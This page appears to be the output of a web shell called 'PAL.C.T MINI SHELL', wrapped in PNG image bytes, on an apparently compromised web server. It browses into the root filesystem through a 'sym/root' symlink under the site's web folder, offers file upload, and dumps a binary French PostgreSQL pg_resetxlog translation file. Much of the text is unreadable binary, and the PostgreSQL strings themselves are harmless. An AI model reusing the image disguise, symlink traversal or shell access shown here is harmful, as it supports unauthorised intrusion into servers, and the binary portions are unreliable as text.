‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/locale/fr/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/locale/fr/LC_MESSAGES/pg_resetxlog-8.4.mo

Þ•L|eÜp9q-«,Ù83?0s*¤NÏ/NN*½+è	!0	+R	)~	#¨	&Ì	-ó	!!
!C
+e
"‘
(´
Ý
Sò
#F#j#Ž#²#Ö#ú\+{0§ Ø@ùD:
&
-¦
Ô
)ä
))8)b)Œ)¶)à)
)4)^ˆV¥)ü)&)P,z)§)Ñ)û)%)O	y ƒ$&;!b)„-®Üéò	)HSÖ5*/`/EÀ`'gtAyF'À>è9'#a+…2±1ä11H9z.´,ã/.@2o¢^º((B(k(”(½(æj@z?»)ûH%In=¸NöE;U;‘;Í;	;E;;½;ù;5 ;q "­ UÐ ;&!;b!;ž!>Ú!;";U";‘";Í";	#
E#ÚP#-+$0Y$&Š$;±$Aí$
/%
=%H%d%;%@E=L7<(9GI&,4H$B.2D'CK%	J!A
#);?F:01-*> 
8+635"/
If these values seem acceptable, use -f to force reset.

Report bugs to <pgsql-bugs@postgresql.org>.
  --help          show this help, then exit
  --version       output version information, then exit
  -O OFFSET       set next multitransaction offset
  -e XIDEPOCH     set next transaction ID epoch
  -f              force update to be done
  -l TLI,FILE,SEG force minimum WAL starting location for new transaction log
  -m XID          set next multitransaction ID
  -n              no update, just show extracted control values (for testing)
  -o OID          set next OID
  -x XID          set next transaction ID
%s resets the PostgreSQL transaction log.

%s: OID (-o) must not be 0
%s: cannot be executed by "root"
%s: could not change directory to "%s": %s
%s: could not create pg_control file: %s
%s: could not delete file "%s": %s
%s: could not open directory "%s": %s
%s: could not open file "%s" for reading: %s
%s: could not open file "%s": %s
%s: could not read file "%s": %s
%s: could not read from directory "%s": %s
%s: could not write file "%s": %s
%s: could not write pg_control file: %s
%s: fsync error: %s
%s: internal error -- sizeof(ControlFileData) is too large ... fix PG_CONTROL_SIZE
%s: invalid argument for option -O
%s: invalid argument for option -e
%s: invalid argument for option -l
%s: invalid argument for option -m
%s: invalid argument for option -o
%s: invalid argument for option -x
%s: lock file "%s" exists
Is a server running?  If not, delete the lock file and try again.
%s: multitransaction ID (-m) must not be 0
%s: multitransaction offset (-O) must not be -1
%s: no data directory specified
%s: pg_control exists but has invalid CRC; proceed with caution
%s: pg_control exists but is broken or unknown version; ignoring it
%s: transaction ID (-x) must not be 0
%s: transaction ID epoch (-e) must not be -1
64-bit integersBlocks per segment of large relation: %u
Bytes per WAL segment:                %u
Catalog version number:               %u
Database block size:                  %u
Database system identifier:           %s
Date/time type storage:               %s
First log file ID after reset:        %u
First log file segment after reset:   %u
Float4 argument passing:              %s
Float8 argument passing:              %s
Guessed pg_control values:

If you are sure the data directory path is correct, execute
  touch %s
and try again.
Latest checkpoint's NextMultiOffset:  %u
Latest checkpoint's NextMultiXactId:  %u
Latest checkpoint's NextOID:          %u
Latest checkpoint's NextXID:          %u/%u
Latest checkpoint's TimeLineID:       %u
Maximum columns in an index:          %u
Maximum data alignment:               %u
Maximum length of identifiers:        %u
Maximum size of a TOAST chunk:        %u
Options:
The database server was not shut down cleanly.
Resetting the transaction log might cause data to be lost.
If you want to proceed anyway, use -f to force reset.
Transaction log reset
Try "%s --help" for more information.
Usage:
  %s [OPTION]... DATADIR

WAL block size:                       %u
You must run %s as the PostgreSQL superuser.
by referenceby valuefloating-point numberspg_control values:

pg_control version number:            %u
Project-Id-Version: PostgreSQL 8.4
Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org
POT-Creation-Date: 2009-04-16 23:18+0000
PO-Revision-Date: 2009-04-17 08:57+0200
Last-Translator: Stéphane Schildknecht <stephane.schildknecht@dalibo.com>
Language-Team: PostgreSQLfr <pgsql-fr-generale@postgresql.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 8bit

Si ces valeurs semblent acceptables, utiliser -f pour forcer la
réinitialisation.

Rapporter les bogues à <pgsql-bugs@postgresql.org>.
  --help          affiche cette aide et quitte
  --version       afficherla version et quitte
  -O DÉCALAGE     fixe le décalage de la prochaine multi-transaction
  -x XIDEPOCH     fixe la valeur epoch du prochain identifiant de
                  transaction
  -f              force la mise à jour
  -l TLI,FILE,SEG force l'emplacement minimal de début des WAL du nouveau
                  journal de transactions
  -m XID          fixe le prochain identifiant multi-transaction
  -n              pas de mise à jour, affiche simplement les valeurs de
                  contrôle extraites (pour test)
  -o OID          fixe le prochain OID
  -x XID          fixe le prochain identifiant de transaction
%s réinitialise le journal des transactions PostgreSQL.

%s : l'OID (-o) ne doit pas être 0
%s : ne peut pas être exécuté par « root »
%s : n'a pas pu accéder au répertoire « %s » : %s
%s : n'a pas pu créer le fichier pg_control : %s
%s : n'a pas pu supprimer le fichier « %s » : %s
%s : n'a pas pu ouvrir le répertoire « %s » : %s
%s : n'a pas pu ouvrir le fichier « %s » en lecture : %s
%s : n'a pas pu ouvrir le fichier « %s » : %s
%s : n'a pas pu lire le fichier « %s » : %s
%s : n'a pas pu lire le répertoire « %s » : %s
%s : n'a pas pu écrire le fichier « %s » : %s
%s : n'a pas pu écrire le fichier pg_control : %s
%s : erreur fsync : %s
%s : erreur interne -- sizeof(ControlFileData) est trop important...
corrigez PG_CONTROL_SIZE
%s : argument invalide pour l'option -O
%s : argument invalide pour l'option -e
%s : argument invalide pour l'option -l
%s : argument invalide pour l'option -m
%s : argument invalide pour l'option -o
%s : argument invalide pour l'option -x
%s : le verrou « %s » existe
Le serveur est-il démarré ? Sinon, supprimer le fichier verrou et réessayer.
%s : l'identifiant de multi-transaction (-m) ne doit pas être 0
%s : le décalage de multi-transaction (-O) ne doit pas être -1
%s : aucun répertoire de données indiqué
%s : pg_control existe mais son CRC est invalide ; agir avec précaution
%s : pg_control existe mais est corrompu ou de version inconnue ; ignoré
%s : l'identifiant de la transaction (-x) ne doit pas être 0
%s : la valeur epoch de l'identifiant de transaction (-e) ne doit pas être
-1
entiers 64-bitsBlocs par segment des relations volumineuses :          %u
Octets par segment du journal de transaction :          %u
Numéro de version du catalogue :                        %u
Taille du bloc de la base de données :                  %u
Identifiant du système de base de données :             %s
Stockage du type date/heure :                           %s
Premier identifiant du journal après réinitialisation : %u
Premier segment du journal après réinitialisation :     %u
Passage d'argument float4 :                             %s
Passage d'argument float8 :                             %s
Valeurs de pg_control devinées :

Si le chemin du répertoire de données est correct, exécuter
  touch %s
et réessayer.
Dernier NextMultiOffset du point de contrôle :          %u
Dernier NextMultiXactId du point de contrôle :          %u
Dernier NextOID du point de contrôle :                  %u
Dernier NextXID du point de contrôle :                  %u/%u
Dernier TimeLineID du point de contrôle :               %u
Nombre maximal de colonnes d'un index:                  %u
Alignement maximal des données :                        %u
Longueur maximale des identifiants :                    %u
Longueur maximale d'un morceau TOAST :                  %u
Options :
Le serveur de bases de données n'a pas été arrêté proprement.
Ré-initialiser le journal des transactions peut occasionner des pertes de
données.
Pour continuer malgré tout, utiliser -f pour forcer la
réinitialisation.
Réinitialisation du journal des transactions
Essayer « %s --help » pour plus d'informations.
Usage :
  %s [OPTION]... RÉP_DONNÉES

Taille de bloc du journal de transaction :              %u
Vous devez exécuter %s en tant que super-utilisateur PostgreSQL.
par référencepar valeurnombres à virgule flottanteValeurs de pg_control : 

Numéro de version de pg_control :                       %u
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚